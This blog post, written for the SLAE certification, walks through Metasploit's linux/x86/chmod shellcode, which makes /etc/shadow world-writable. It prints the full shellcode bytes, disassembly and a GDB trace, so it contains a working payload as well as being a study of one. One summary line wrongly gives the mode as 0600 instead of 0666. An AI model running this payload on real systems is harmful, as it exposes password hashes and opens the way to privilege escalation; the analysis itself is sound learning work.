Continuing on with the next Metasploit payload analysis. This time we’ll be examining the linux/x86/chmod
payload and seeing exactly how it works.
Like last time we’ll first start by checking out the payload options.
root@kali:~# msfvenom -p linux/x86/chmod --payload-options
Options for payload/linux/x86/chmod:
Name: Linux Chmod
Module: payload/linux/x86/chmod
Platform: Linux
Arch: x86
Needs Admin: No
Total size: 36
Rank: Normal
Provided by:
kris katterjohn <katterjohn@gmail.com>
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
FILE /etc/shadow yes Filename to chmod
MODE 0666 yes File mode (octal)
Description:
Runs chmod on specified file with specified mode
We can see that FILE and MODE are by default setting /etc/shadow to read and write for all users. Let’s keep these options and start by first examining the assembly with ndisasm
.
root@kali:~# msfvenom -p linux/x86/chmod -f raw | ndisasm -u -
No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 36 bytes
00000000 99 cdq
00000001 6A0F push byte +0xf
00000003 58 pop eax
00000004 52 push edx
00000005 E80C000000 call 0x16
0000000A 2F das
0000000B 657463 gs jz 0x71
0000000E 2F das
0000000F 7368 jnc 0x79
00000011 61 popa
00000012 646F fs outsd
00000014 7700 ja 0x16
00000016 5B pop ebx
00000017 68B6010000 push dword 0x1b6
0000001C 59 pop ecx
0000001D CD80 int 0x80
0000001F 6A01 push byte +0x1
00000021 58 pop eax
00000022 CD80 int 0x80
Very small shellcode here and not complex at all. Once again there is a CALL method followed by garbage instructions, just as we saw in the adduser payload. Let’s generate the shellcode for this and put it in our C wrapper for analyzing with GDB.
root@kali:~/SLAE# msfvenom -p linux/x86/chmod -f c
No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 36 bytes
Final size of c file: 177 bytes
unsigned char buf[] =
"\x99\x6a\x0f\x58\x52\xe8\x0c\x00\x00\x00\x2f\x65\x74\x63\x2f"
"\x73\x68\x61\x64\x6f\x77\x00\x5b\x68\xb6\x01\x00\x00\x59\xcd"
"\x80\x6a\x01\x58\xcd\x80";
root@kali:~/SLAE# vim chmod.c
root@kali:~/SLAE# gcc chmod.c -o chmod -fno-stack-protector -z execstack
We’ll first set a breakpoint on the start of our shellcode and run.
root@kali:~/SLAE# gdb -q chmod
Reading symbols from chmod...(no debugging symbols found)...done.
gdb-peda$ break *&code
Breakpoint 1 at 0x2040
gdb-peda$ r
Starting program: /root/SLAE/chmod
Shellcode Length: 7
[----------------------------------registers-----------------------------------]
EAX: 0x402040 --> 0x580f6a99
EBX: 0x402000 --> 0x1efc
ECX: 0x15
EDX: 0xb7fa4870 --> 0x0
ESI: 0x1
EDI: 0xb7fa3000 --> 0x1b9db0
EBP: 0xbffff388 --> 0x0
ESP: 0xbffff36c --> 0x40059d (<main+80>: mov eax,0x0)
EIP: 0x402040 --> 0x580f6a99
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x40203a: add BYTE PTR [eax],al
0x40203c: add BYTE PTR [eax],al
0x40203e: add BYTE PTR [eax],al
=> 0x402040 <code>: cdq
0x402041 <code+1>: push 0xf
0x402043 <code+3>: pop eax
0x402044 <code+4>: push edx
0x402045 <code+5>: call 0x402056 <code+22>
[------------------------------------stack-------------------------------------]
0000| 0xbffff36c --> 0x40059d (<main+80>: mov eax,0x0)
0004| 0xbffff370 --> 0x1
0008| 0xbffff374 --> 0xbffff434 --> 0xbffff5c6 ("/root/SLAE/chmod")
0012| 0xbffff378 --> 0xbffff43c --> 0xbffff5d7 ("LS_COLORS=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:mi=00:su=37;41:sg=30;43:ca=30;41:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arc"...)
0016| 0xbffff37c --> 0x402040 --> 0x580f6a99
0020| 0xbffff380 --> 0xbffff3a0 --> 0x1
0024| 0xbffff384 --> 0x0
0028| 0xbffff388 --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 1, 0x00402040 in code ()
chmod()
Our first chunk of assembly, which is the majority of the instructions is as follows:
cdq ; sets edx to 0
push 0xf ; chmod()
pop eax ;
push edx ; 0
call 0x402056 <code+22> ; call code+22 and push string to stack stored in next instruction
das ; start of "/etc/shadow" string
gs je 0x4020b1
das
jae 0x4020b9
popa
outs dx,DWORD PTR fs:[esi]
ja 0x402056 <code+22> ; end of string
pop ebx ; "/etc/shadow" into ebx
push 0x1b6 ; 0666 in octal
pop ecx ;
int 0x80 ; execute chmod()
We have a few instructions setting up the chmod() syscall which is defined as 15 in /usr/include/i386-linux-gnu/asm/unistd_32.h
. Once again we can see a CALL instruction which pushes the filename being changed to the stack for later use.
[----------------------------------registers-----------------------------------]
EAX: 0xf
EBX: 0x402000 --> 0x1efc
ECX: 0x15
EDX: 0x0
ESI: 0x1
EDI: 0xb7fa3000 --> 0x1b9db0
EBP: 0xbffff388 --> 0x0
ESP: 0xbffff364 --> 0x40204a ("/etc/shadow")
EIP: 0x402056 --> 0x1b6685b
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x402051 <code+17>: popa
0x402052 <code+18>: outs dx,DWORD PTR fs:[esi]
0x402054 <code+20>: ja 0x402056 <code+22>
=> 0x402056 <code+22>: pop ebx
0x402057 <code+23>: push 0x1b6
0x40205c <code+28>: pop ecx
0x40205d <code+29>: int 0x80
0x40205f <code+31>: push 0x1
[------------------------------------stack-------------------------------------]
0000| 0xbffff364 --> 0x40204a ("/etc/shadow")
0004| 0xbffff368 --> 0x0
This is then POP’d off the stack for use in EBX.
Following that we see a PUSH of 0x1b6. Checking this in python we can see it translates to 0666 in octal.
root@kali:~/SLAE# python3
Python 3.6.4 (default, Jan 5 2018, 02:13:53)
[GCC 7.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> oct(0x1b6)
'0o666'
Let’s verify everything in GDB before the interrupt is called.
[----------------------------------registers-----------------------------------]
EAX: 0xf
EBX: 0x40204a ("/etc/shadow")
ECX: 0x1b6
EDX: 0x0
ESI: 0x1
EDI: 0xb7fa3000 --> 0x1b9db0
EBP: 0xbffff388 --> 0x0
ESP: 0xbffff368 --> 0x0
EIP: 0x40205d --> 0x16a80cd
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x402056 <code+22>: pop ebx
0x402057 <code+23>: push 0x1b6
0x40205c <code+28>: pop ecx
=> 0x40205d <code+29>: int 0x80
0x40205f <code+31>: push 0x1
0x402061 <code+33>: pop eax
0x402062 <code+34>: int 0x80
0x402064 <code+36>: add BYTE PTR [eax],al
[------------------------------------stack-------------------------------------]
0000| 0xbffff368 --> 0x0
And we can see the chmod() syscall is all set up as follows:
chmod("/etc/shadow", 0600)
exit()
All that is left to do is a simple exit() syscall. The assembly looks as such:
push 0x1 ; exit()
pop eax ;
int 0x80 ; execute exit()
Fairly simple. The value that’s still in EBX will be used as the exit code, no need to zero it out since it doesn’t really matter.
[----------------------------------registers-----------------------------------]
EAX: 0x1
EBX: 0x40204a ("/etc/shadow")
ECX: 0x1b6
EDX: 0x0
ESI: 0x1
EDI: 0xb7fa3000 --> 0x1b9db0
EBP: 0xbffff388 --> 0x0
ESP: 0xbffff368 --> 0x0
EIP: 0x402062 --> 0x80cd
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x40205d <code+29>: int 0x80
0x40205f <code+31>: push 0x1
0x402061 <code+33>: pop eax
=> 0x402062 <code+34>: int 0x80
If we finish execution we can verify our shadow file with the updated permissions.
root@kali:~/SLAE# ls -al /etc/shadow
-rw-rw-rw- 1 root shadow 1573 Mar 19 14:15 /etc/shadow
And that’s it! Very short and simple.
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: SLAE-1208
Github Repo: https://github.com/absolomb/SLAE